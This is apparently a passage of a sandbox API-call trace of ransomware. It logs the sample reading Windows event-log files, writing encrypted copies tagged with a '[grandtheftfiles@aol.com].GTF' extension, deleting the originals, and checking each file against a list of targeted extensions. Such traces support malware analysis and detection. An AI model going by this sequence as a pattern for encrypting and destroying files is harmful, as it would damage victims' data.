	[0081.939] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.941] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.941] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x132, lpOverlapped=0x0) returned 1
	[0081.941] SetEndOfFile (hFile=0x398) returned 1
	[0081.941] CloseHandle (hObject=0x398) returned 1
	[0081.944] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.944] SetEndOfFile (hFile=0x2d0) returned 1
	[0081.945] CloseHandle (hObject=0x2d0) returned 1
	[0081.945] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.945] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString=".doc") returned 4
	[0081.946] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".docx") returned 5
	[0081.946] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.946] lstrlenW (lpString=".pdf") returned 4
	[0081.946] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".xls") returned 4
	[0081.946] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".xlsx") returned 5
	[0081.946] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.946] lstrlenW (lpString=".ppt") returned 4
	[0081.946] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString=".zip") returned 4
	[0081.946] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".rar") returned 4
	[0081.946] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".bz2") returned 4
	[0081.946] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString=".7z") returned 3
	[0081.946] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString=".dbf") returned 4
	[0081.946] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString=".1cd") returned 4
	[0081.946] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.946] lstrlenW (lpString=".jpg") returned 4
	[0081.946] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString=".doc") returned 4
	[0081.947] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".docx") returned 5
	[0081.947] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.947] lstrlenW (lpString=".pdf") returned 4
	[0081.947] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".xls") returned 4
	[0081.947] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".xlsx") returned 5
	[0081.947] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.947] lstrlenW (lpString=".ppt") returned 4
	[0081.947] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString=".zip") returned 4
	[0081.947] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".rar") returned 4
	[0081.947] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".bz2") returned 4
	[0081.947] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString=".7z") returned 3
	[0081.947] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString=".dbf") returned 4
	[0081.947] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString=".1cd") returned 4
	[0081.947] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0081.947] lstrlenW (lpString=".jpg") returned 4
	[0081.947] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.948] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.948] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46
	[0081.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.948] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.948] CloseHandle (hObject=0x2d0) returned 1
	[0081.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0081.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.948] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.948] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.949] GetLastError () returned 0x0
	[0081.949] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.325] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.327] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.327] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.327] SetEndOfFile (hFile=0x398) returned 1
	[0082.762] CloseHandle (hObject=0x398) returned 1
	[0082.800] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.800] SetEndOfFile (hFile=0x2d0) returned 1
	[0082.802] CloseHandle (hObject=0x2d0) returned 1
	[0082.802] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.802] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1
	[0082.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.802] lstrlenW (lpString=".doc") returned 4
	[0082.802] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.802] lstrlenW (lpString=".docx") returned 5
	[0082.802] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.803] lstrlenW (lpString=".pdf") returned 4
	[0082.803] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".xls") returned 4
	[0082.803] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".xlsx") returned 5
	[0082.803] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.803] lstrlenW (lpString=".ppt") returned 4
	[0082.803] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString=".zip") returned 4
	[0082.803] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".rar") returned 4
	[0082.803] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".bz2") returned 4
	[0082.803] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".7z") returned 3
	[0082.803] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString=".dbf") returned 4
	[0082.803] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString=".1cd") returned 4
	[0082.803] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString=".jpg") returned 4
	[0082.803] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.803] lstrlenW (lpString=".doc") returned 4
	[0082.803] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".docx") returned 5
	[0082.803] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.803] lstrlenW (lpString=".pdf") returned 4
	[0082.803] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.803] lstrlenW (lpString=".xls") returned 4
	[0082.803] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString=".xlsx") returned 5
	[0082.804] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.804] lstrlenW (lpString=".ppt") returned 4
	[0082.804] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.804] lstrlenW (lpString=".zip") returned 4
	[0082.804] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString=".rar") returned 4
	[0082.804] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString=".bz2") returned 4
	[0082.804] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString=".7z") returned 3
	[0082.804] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.804] lstrlenW (lpString=".dbf") returned 4
	[0082.804] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.804] lstrlenW (lpString=".1cd") returned 4
	[0082.804] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.804] lstrlenW (lpString=".jpg") returned 4
	[0082.804] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.804] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.804] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41
	[0082.804] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.805] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0082.805] CloseHandle (hObject=0x2d0) returned 1
	[0082.805] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0082.805] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.805] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.805] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.805] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.805] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0082.806] GetLastError () returned 0x0
	[0082.806] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.809] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.810] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.810] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x126, lpOverlapped=0x0) returned 1
	[0082.811] SetEndOfFile (hFile=0x398) returned 1
	[0082.811] CloseHandle (hObject=0x398) returned 1
	[0082.813] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.813] SetEndOfFile (hFile=0x2d0) returned 1
	[0082.814] CloseHandle (hObject=0x2d0) returned 1
	[0082.814] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.814] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1
	[0082.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".doc") returned 4
	[0082.815] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".docx") returned 5
	[0082.815] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.815] lstrlenW (lpString=".pdf") returned 4
	[0082.815] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".xls") returned 4
	[0082.815] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".xlsx") returned 5
	[0082.815] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.815] lstrlenW (lpString=".ppt") returned 4
	[0082.815] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".zip") returned 4
	[0082.815] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".rar") returned 4
	[0082.815] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".bz2") returned 4
	[0082.815] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".7z") returned 3
	[0082.815] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".dbf") returned 4
	[0082.815] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".1cd") returned 4
	[0082.815] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".jpg") returned 4
	[0082.815] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.815] lstrlenW (lpString=".doc") returned 4
	[0082.815] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.815] lstrlenW (lpString=".docx") returned 5
	[0082.815] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.816] lstrlenW (lpString=".pdf") returned 4
	[0082.816] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString=".xls") returned 4
	[0082.816] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString=".xlsx") returned 5
	[0082.816] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.816] lstrlenW (lpString=".ppt") returned 4
	[0082.816] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.816] lstrlenW (lpString=".zip") returned 4
	[0082.816] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString=".rar") returned 4
	[0082.816] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString=".bz2") returned 4
	[0082.816] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString=".7z") returned 3
	[0082.816] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.816] lstrlenW (lpString=".dbf") returned 4
	[0082.816] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.816] lstrlenW (lpString=".1cd") returned 4
	[0082.816] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.816] lstrlenW (lpString=".jpg") returned 4
	[0082.816] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.816] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.816] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49
	[0082.816] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.817] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0082.817] CloseHandle (hObject=0x2d0) returned 1
	[0082.817] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0082.817] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.817] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.817] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.817] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.817] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0082.817] GetLastError () returned 0x0
	[0082.817] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.820] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.822] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.822] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x136, lpOverlapped=0x0) returned 1
	[0082.822] SetEndOfFile (hFile=0x398) returned 1
	[0082.822] CloseHandle (hObject=0x398) returned 1
	[0082.824] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.824] SetEndOfFile (hFile=0x2d0) returned 1
	[0082.825] CloseHandle (hObject=0x2d0) returned 1
	[0082.825] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
